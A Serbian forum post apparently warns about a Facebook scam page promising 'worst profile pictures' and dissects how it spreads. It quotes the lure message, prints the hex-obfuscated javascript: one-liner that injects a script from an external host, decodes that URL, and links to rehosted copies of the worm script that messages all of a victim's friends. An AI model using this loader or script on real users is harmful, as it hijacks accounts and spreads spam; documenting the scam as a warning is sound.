[Nemanja015]

Zaustavio sam još jednu veliku FB prevaru.
Reč je o stranici koja se ovih dana verovatno sve češće pojavlivala na vašem chatu. To je stranica pod nazivom "Najgore profilne slike ikada, pogledaj".
Dobio sam sledeću poruku na chatu:

nemanja Tvoja slika se nalazi medju najgorim slikama profila,  pogledaj :S  http://www.facebook.com/pages/Najgore-profilne-slike-ikada-pogledaj/163290907066128?sk=app_494975287863157

Zatim kad sam ušao na tab "Pogledajte!" začudilo me je što je ukesto linka tu stavljena sledeća javascripta:

javascript:(a=(b=document).createElement('script')).src='\x2F\x2F\x64\x61\x72\x5F\x6B\x31\x2E\x62\x79\x65\x74\x68\x6F\x73\x74\x36\x2E\x63\x6F\x6D\x2F\x73\x6C\x69\x6B\x61\x31\x37\x2E\x6A\x73',b.body.appendChild(a);void(0)

Zatim sam video da ta skripta na stranicu učitava novu javaskriptu čiji je url(hexovan):

\x2F\x2F\x64\x61\x72\x5F\x6B\x31\x2E\x62\x79\x65\x74\x68\x6F\x73\x74\x36\x2E\x63\x6F\x6D\x2F\x73\x6C\x69\x6B\x61\x31\x37\x2E\x6A\x73

Odnosno:

2F2F6461725F6B312E62796574686F7374362E636F6D2F736C696B6131372E6A73

A kada ga dekriptujemo dobijemo:

http://dar_k1.byethost6.com/slika17.js

Naravno ja sam to prijavio hosting kompaniji i više ne možete videti tu skriptu na toj adresi, ali sam zato napravio kopiju te skripte na mom sajtu:

http://nemanjan00.zxq.net/upload/slika17.js

Pročitao sam skriptu i malo bolje je proučio i mogu vam reći da je sjajno urađena. Ona svim vašim online prijateljima šalje istu tu poruku koju sam ja već naveo(samo sa imenom prijatelja, a ne "nemanja").
Edit: Pošto mi je host down evo url:

http://pastebin.com/zKiYFAmF